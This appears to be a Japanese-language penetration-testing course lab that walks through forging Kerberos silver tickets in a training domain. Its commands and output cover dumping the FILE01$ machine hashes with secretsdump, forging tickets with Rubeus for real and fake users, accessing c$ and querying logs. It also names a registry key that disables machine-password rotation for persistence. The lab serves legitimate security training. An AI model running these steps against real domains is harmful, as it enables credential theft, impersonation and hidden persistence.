Lab 5.4: Silver Ticket
オンライン演習
接続性:この演習では、クラス内ネットワーク(560A VPN経由)に接続している必要があります
目的
- Rubeusを使用して、
bgreen
としてファイルサーバー(file01)にアクセスします。 - file01のハッシュを使用して、file01上のCIFSサービス用のシルバーチケットを作成します。
- file01へのアクセスを可能にする偽のユーザーデータを含むチケットを生成します。
ウォークスルービデオ
ラボのセットアップ
使用するVM:
- Windows 11
hiboxy.comドメインのDCにアクセスします。
Kerberoastラボで、ドメイン管理者権限を持つアカウントであるSVC_SQLService2
を侵害しました。
ラボ – ステップバイステップの手順
hiboxy.comドメインのDCにアクセスします。以前のラボでNTDS.ditファイルからパスワードハッシュを抽出したことを思い出してください。これにはDC01$のマシンアカウントハッシュも含まれています。
この攻撃は、Mimikatz、Impacketのticketer.py、Rubeusなど、複数のツールを使用して実行できます。ここではRubeusを使用し、ゴールデンチケットラボではticketer.pyを使用します。
1: 準備
VPNに接続しています。VPNにDNSの制御を任せることもできますが、多くの場合それを避けたいと考えます。もしそうすると、ターゲット組織は私たちがクエリしている内容をすべて知ることになり、これは望ましくない場合があります。また、DNSフィルタリングやアラートが設定されている可能性もあります。余分なログを避けたいですし、特にアラートは避けたいと考えます。
Windowsシステムをhiboxy.com
のみに対してDNSサーバーを使用するように設定する必要があります。これを行うには、管理者権限のPowerShellターミナルを起動する必要があります。デスクトップにある*Terminal*というタイトルのリンクを開きます。
それでは、hiboxy.comのみに対して10.130.10.4をクエリするようにDNSを設定しましょう。
コマンド
Add-DnsClientNrptRule -Namespace "hiboxy.com" -NameServers 10.130.10.4
参考までに、Linux上では以下のコマンドを使用できますが、ネットワーク(/etc/systemd/network/sec560-lab.network
)を追加することで、すでにシステムを事前設定しています。
コマンド例
実行しないでください!
sudo systemd-resolve -i tun0 --set-dns=10.130.10.4 --set-domain=hiboxy.com
2: チケットを構築するための情報の取得
この攻撃全体は、ドメインに参加していないホストから実行できます。私たちの場合、Windowsシステムはドメインに参加していない攻撃システムです。
Rubeusを使用してシルバーチケットを生成しましょう。いくつか必要なものがあります:
- ターゲットサービスのハッシュ
- ドメインSID
まず、ドメインSIDを取得しましょう。Windows VMにImpacketをインストールしています。lookupsid.py
を使用して、ドメインオブジェクトのSID(セキュリティ識別子)を取得します。WindowsのSIDはS-1-5-21-XXXXXXXXXX-YYYYYYYYYYY-ZZZZZZZZZZ-RID
の形式です。ドメイン内の各アイテムのSIDは、末尾のRID(相対ID)を除いて変化します。SIDのベース部分が必要です。ツールを使用して、ベースSIDと520までのすべてのRIDを抽出しましょう(520は含まれません)。
新しいPowerShellシェルを開き、以下のコマンドを実行してSIDを取得します。
コマンド
lookupsid.py hiboxy.com/bgreen:Password1@10.130.10.4 520
想定される結果
PS C:\Users\sec560> lookupsid.py hiboxy.com/bgreen:Password1@10.130.10.4 520
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Brute forcing SIDs at 10.130.10.4
[*] StringBinding ncacn_np:10.130.10.4[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-3338620771-1880071138-2935716604
498: HIBOXY\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: HIBOXY\Administrator (SidTypeUser)
501: HIBOXY\Guest (SidTypeUser)
502: HIBOXY\krbtgt (SidTypeUser)
512: HIBOXY\Domain Admins (SidTypeGroup)
513: HIBOXY\Domain Users (SidTypeGroup)
514: HIBOXY\Domain Guests (SidTypeGroup)
515: HIBOXY\Domain Computers (SidTypeGroup)
516: HIBOXY\Domain Controllers (SidTypeGroup)
517: HIBOXY\Cert Publishers (SidTypeAlias)
518: HIBOXY\Schema Admins (SidTypeGroup)
519: HIBOXY\Enterprise Admins (SidTypeGroup)
SIDは動的です!
上記のSIDは、ラボの構築時にランダムに生成されます。上記に示されているSIDではなく、画面に表示されているSIDを使用してください!
これからfile01
サーバーをターゲットにします。コンピュータアカウントFILE01$
のAES256ハッシュが必要です。前のラボで見つけたドメイン管理者の資格情報を使用してリクエストできます。
思い出してください、SVC_SQLService2
のパスワードは^Cakemaker
です。
コマンド
secretsdump.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 -just-dc-user file01$
想定される結果
PS C:\Users\sec560> secretsdump.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 -just-dc-user file01$
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
FILE01$:1401:aad3b435b51404eeaad3b435b51404ee:e633db8bc2f9ecaa71066694374eb2e1:::
[*] Kerberos keys grabbed
FILE01$:aes256-cts-hmac-sha1-96:48f4ee39650c3af0ac304c3961b01cf4e38f3a6f70bb48cdc407f91a979a353b
FILE01$:aes128-cts-hmac-sha1-96:5ea8f7f582d3b34a39c7575ff2c01233
FILE01$:des-cbc-md5:ef2a04a7344fceea
[*] Cleaning up...
ハッシュは動的です!
上記のハッシュは、ラボの構築時にランダムに生成されます。上記に示されているハッシュではなく、画面に表示されているハッシュを使用してください!
3: Rubeusでチケットを作成する
このラボではRubeusを使用します。Rubeusは、Kerberosと対話し操作するためのツールセット(C#で記述)です。
Rubeusで使用するオプションは次のとおりです:
silver
: Rubeusのシルバーチケットフィーチャー/service:cifs/file01.hiboxy.com
:cifs
(Common Internet File SystemはSMBの一種で、ファイル共有で使用されます)をターゲットにします/aes256:AES256_HASH_FROM_secretsdump.py
: secretsdump.pyから出力されたAES256ハッシュを使用してチケットを生成します/sid:S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ
: lookupsid.pyから取得したSID/ptt
: チケットをメモリにロードして使用できるようにします/user:bgreen
: チケットに提示するユーザー
コマンド
次のコマンドでは、REDACTED_AES256_HASH
とS-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ
を異なる値に置き換える必要があります
REDACTED_AES256_HASH
をsecretsdump.pyから取得したAES 256ハッシュに置き換えてください。この例では48f4ee39650c3af0ac304c3961b01cf4e38f3a6f70bb48cdc407f91a979a353b
ですが、あなたのものは異なります。
S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ
をlookupsid.pyから取得したSIDに置き換えてください。この例ではS-1-5-21-3338620771-1880071138-2935716604
ですが、あなたのものは異なります。
Rubeus.exe silver /service:cifs/file01.hiboxy.com /aes256:REDACTED_AES256_HASH /sid:S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ /ptt /user:bgreen
想定される結果
PS C:\Users\sec560> Rubeus.exe silver /service:cifs/file01.hiboxy.com /aes256:48f4ee39650c3af0ac304c3961b01cf4e38f3a6f70bb48cdc407f91a979a353b /sid:S-1-5-21-3338620771-1880071138-2935716604 /ptt /user:bgreen
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.2
[*] Action: Build TGS
[*] Building PAC
[*] Domain : HIBOXY.COM (HIBOXY)
[*] SID : S-1-5-21-3338620771-1880071138-2935716604
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ServiceKey : 48F4EE39650C3AF0AC304C3961B01CF4E38F3A6F70BB48CDC407F91A979A353B
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 48F4EE39650C3AF0AC304C3961B01CF4E38F3A6F70BB48CDC407F91A979A353B
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : cifs
[*] Target : file01.hiboxy.com
...trimmed for brevity...
[*] base64(ticket.kirbi):
doIFNzCCBTOgAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoQwbCkhJQk9YWS5DT02iJDAioAMC
AQKhGzAZGwRjaWZzGxFmaWxlMDEuaGlib3h5LmNvbaOCA+MwggPfoAMCARKhAwIBA6KCA9EEggPNRjs+
...trimmed for brevity...
MzA5MTgzNFqnERgPMjAyNDA5MTkyMzE4MzRaqAwbCkhJQk9YWS5DT02pJDAioAMCAQKhGzAZGwRjaWZz
GxFmaWxlMDEuaGlib3h5LmNvbQ==
[+] Ticket successfully imported!
出力には、作成したチケットに関する情報が表示されます。また、チケットがメモリに正常にロードされたことも示されています。
klist.exe
でメモリ内のチケットを確認しましょう。
コマンド
klist
想定される結果
PS C:\Users\sec560> klist
Current LogonId is 0:0x4a0f2
Cached Tickets: (1)
#0> Client: bgreen @ HIBOXY.COM
Server: cifs/file01.hiboxy.com @ HIBOXY.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
Start Time: 10/2/2024 18:07:37 (local)
End Time: 10/3/2024 4:07:37 (local)
Renew Time: 10/9/2024 18:07:37 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
それでは、ファイルサーバーにアクセスしてみましょう!
コマンド
dir \\file01.hiboxy.com\c$
想定される結果
PS C:\Users\sec560> dir \\file01.hiboxy.com\c$
Directory: \\file01.hiboxy.com\c$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 8/18/2021 11:24 PM EFI
d---- 9/25/2024 8:45 AM FileShare
d---- 5/8/2021 1:20 AM PerfLogs
d---- 9/25/2024 8:46 AM Profiles
d-r-- 9/25/2024 8:36 AM Program Files
d---- 7/11/2023 7:40 PM Program Files (x86)
d-r-- 9/25/2024 8:44 AM Users
d---- 9/26/2024 7:38 AM Windows
bgreen
のKerberosチケットを使用してリモートホストへの接続に成功しましたが、管理者として接続しています!
4: 2つ目の偽造チケット
新しいチケットを作成しますが、さらに変更を加えてみましょう!
前回のチケットでは、bgreenに管理者権限(Domain Admins
、Enterprise Admins
など)を与えました。今度はユーザー名とRIDを偽装します!
まず、メモリからチケットを削除する必要があります。
コマンド
klist purge
想定される結果
PS C:\Users\sec560> klist purge
Current LogonId is 0:0x1428ce6
Deleting all tickets:
Ticket(s) purged!
上矢印キーを数回押して、Rubeusコマンドに戻ります。/user
を変更し、偽の/id
として777
を指定します。
前のコマンドを再入力する代わりに、上矢印キーを押して以前使用したRubeus.exe silver
コマンドを取得し、/user:bgreen
を/user:pwned /id:777
に置き換えます。
コマンド
次のコマンドでは、REDACTED_AES256_HASH
とS-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ
を異なる値に置き換える必要があります
REDACTED_AES256_HASH
をsecretsdump.pyから取得したAES256ハッシュに置き換えてください。この例では48f4ee39650c3af0ac304c3961b01cf4e38f3a6f70bb48cdc407f91a979a353b
ですが、あなたのものは異なります。
S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ
をlookupsid.pyから取得したSIDに置き換えてください。この例ではS-1-5-21-3338620771-1880071138-2935716604
ですが、あなたのものは異なります。
Rubeus.exe silver /service:cifs/file01.hiboxy.com /aes256:REDACTED_AES256_HASH /sid:S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ /ptt /user:pwned /id:777
想定される結果
PS C:\Users\sec560> Rubeus.exe silver /service:cifs/file01.hiboxy.com /aes256:48f4ee39650c3af0ac304c3961b01cf4e38f3a6f70bb48cdc407f91a979a353b /sid:S-1-5-21-3338620771-1880071138-2935716604 /ptt /user:pwned /id:777
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.2
[*] Action: Build TGS
[*] Building PAC
[*] Domain : HIBOXY.COM (HIBOXY)
[*] SID : S-1-5-21-3338620771-1880071138-2935716604
[*] UserId : 777
[*] Groups : 520,512,513,519,518
[*] ServiceKey : 48F4EE39650C3AF0AC304C3961B01CF4E38F3A6F70BB48CDC407F91A979A353B
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 48F4EE39650C3AF0AC304C3961B01CF4E38F3A6F70BB48CDC407F91A979A353B
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : cifs
[*] Target : file01.hiboxy.com
...trimmed for brevity...
[*] Forged a TGS for 'pwned' to 'cifs/file01.hiboxy.com'
...trimmed for brevity...
[*] base64(ticket.kirbi):
doIFCTCCBQWgAwIBBaEDAgEWooIEDzCCBAthggQHMIIEA6ADAgEFoQwbCkhJQk9YWS5DT02iJDAioAMC
AQKhGzAZGwRjaWZzGxFmaWxlMDEuaGlib3h5LmNvbaOCA8YwggPCoAMCARehAwIBA6KCA7QEggOwQprX
...trimmed for brevity...
NTdaphEYDzIwMjIwMTA3MTE0MDU3WqcRGA8yMDIyMDExNDAxNDA1N1qoDBsKSElCT1hZLkNPTakkMCKg
AwIBAqEbMBkbBGNpZnMbEWZpbGUwMS5oaWJveHkuY29t
[+] Ticket successfully imported!
新しいチケット名に注目してください!
これが機能するか確認してみましょう。
コマンド
dir \\file01.hiboxy.com\c$
想定される結果
PS C:\Users\sec560> dir \\file01.hiboxy.com\c$
Directory: \\file01.hiboxy.com\c$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 8/18/2021 11:24 PM EFI
d---- 9/25/2024 8:45 AM FileShare
d---- 5/8/2021 1:20 AM PerfLogs
d---- 9/25/2024 8:46 AM Profiles
d-r-- 9/25/2024 8:36 AM Program Files
d---- 7/11/2023 7:40 PM Program Files (x86)
d-r-- 9/25/2024 8:44 AM Users
d---- 9/26/2024 7:38 AM Windows
成功しました!
「serviceclass」は、file01.hiboxy.comのFQDN(完全修飾ドメイン名)の前のチケットの部分です。前の例では、serviceclass cifs
を使用しました。各サービスクラスは、異なるサービスに接続することを可能にします。リモートシステムのイベントログをクエリできる別のserviceclassのチケットを作成しましょう。このチケットで同じ情報を使用しますが、cifs
をhost
に置き換えます。
コマンド
次のコマンドでは、REDACTED_AES256_HASH
とS-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ
を異なる値に置き換える必要があります
REDACTED_AES256_HASH
をsecretsdump.pyから取得したAES256ハッシュに置き換えてください。この例では48f4ee39650c3af0ac304c3961b01cf4e38f3a6f70bb48cdc407f91a979a353b
ですが、あなたのものは異なります。
S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ
をlookupsid.pyから取得したSIDに置き換えてください。この例ではS-1-5-21-3338620771-1880071138-2935716604
ですが、あなたのものは異なります。
Rubeus.exe silver /service:host/file01.hiboxy.com /aes256:REDACTED_AES256_HASH /sid:S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ /ptt /user:pwned /id:777
想定される結果
PS C:\Users\sec560> Rubeus.exe silver /service:host/file01.hiboxy.com /aes256:48f4ee39650c3af0ac304c3961b01cf4e38f3a6f70bb48cdc407f91a979a353b /sid:S-1-5-21-3338620771-1880071138-2935716604 /ptt /user:pwned /id:777
...truncated for brevity...
[*] Service : host
[*] Target : file01.hiboxy.com
...truncated for brevity...
[*] Forged a TGS for 'pwned' to 'host/file01.hiboxy.com'
...truncated for brevity...
host
サービスの新しいチケットが表示されるはずです。チケットを確認してみましょう。
コマンド
klist
想定される結果
PS C:\Users\sec560> klist
Current LogonId is 0:0x4b66d
Cached Tickets: (2)
#0> Client: pwned @ HIBOXY.COM
Server: host/file01.hiboxy.com @ HIBOXY.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
Start Time: 10/2/2024 18:12:12 (local)
End Time: 10/3/2024 4:12:12 (local)
Renew Time: 10/9/2024 18:12:12 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
#1> Client: pwned @ HIBOXY.COM
Server: cifs/file01.hiboxy.com @ HIBOXY.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
Start Time: 10/2/2024 18:11:44 (local)
End Time: 10/3/2024 4:11:44 (local)
Renew Time: 10/9/2024 18:11:44 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
host/file01.hiboxy.com
とcifs/file01.hiboxy.com
の両方のチケットが表示されるはずです。
すでにSMB/CIFS経由でホストにアクセスできることを確認しました。システムにアクセスした際にイベントログがどのように見えるか確認してみましょう。
コマンド
wevtutil /r:file01.hiboxy.com qe Security "/q:*[System/EventID=4624] and *[EventData/Data[@Name='TargetUserName']='pwned']" /f:text /c:1
想定される結果
PS C:\Users\sec560> wevtutil /r:file01.hiboxy.com qe Security "/q:*[System/EventID=4624] and *[EventData/Data[@Name='TargetUserName']='pwned']" /f:text /c:1
Event[0]
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Date: 2024-10-02T18:11:50.0550000Z
Event ID: 4624
Task: Logon
Level: Information
Opcode: Info
Keyword: Audit Success,
User: N/A
User Name: N/A
Computer: file01.hiboxy.com
Description:
An account was successfully logged on.
Subject:
Security ID: S-1-0-0
Account Name: -
Account Domain: -
Logon ID: 0x0
Logon Information:
Logon Type: 3
Restricted Admin Mode: -
Virtual Account: No
Elevated Token: Yes
Impersonation Level: Impersonation
New Logon:
Security ID: S-1-5-21-2197199208-460179848-4251762669-777
Account Name: pwned
Account Domain: HIBOXY.COM
...truncated for brevity...
SIDのRID部分を見ると、私たちの偽のID 777
であることがわかります。「Account Name」は私たちの偽のユーザーpwned
です!
これが永続化のためにどれほど強力であるか考えてみてください。ユーザーのユーザー名やパスワードは必要なく、偽のアカウントを含め、任意のユーザーになりすますことができます!ただし、コンピュータアカウントのハッシュは通常、毎月ローテーションされます。悪意のある攻撃者は、次のレジストリキーを1
に変更することで、このローテーションを無効化しています:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange
ゴールデンチケット攻撃では同様のことはできません。ドメインコントローラーのパッチにより、DCがIDと名前が存在し一致することを確認するため、偽のアカウント名を使用できなくなりました。
ticketer.pyやMimikatzなど、同じタイプの攻撃に他のツールを使用できます。
まとめ
このラボでは、FILE01$マシンアカウントハッシュを使用して、FILE01上のCIFSサービス用のシルバーチケットを作成しました。シルバーチケットは、指定されたターゲットサービス、およびハッシュまたはパスワードを侵害したサービスへのアクセスのみを提供します。 この場合、CIFSサービスを使用して、密かな永続化を実現できます。時間がある場合は、実際に永続化を実現したり、シルバーチケットとゴールデンチケット、およびそれらが提供するアクセスを試してみてください。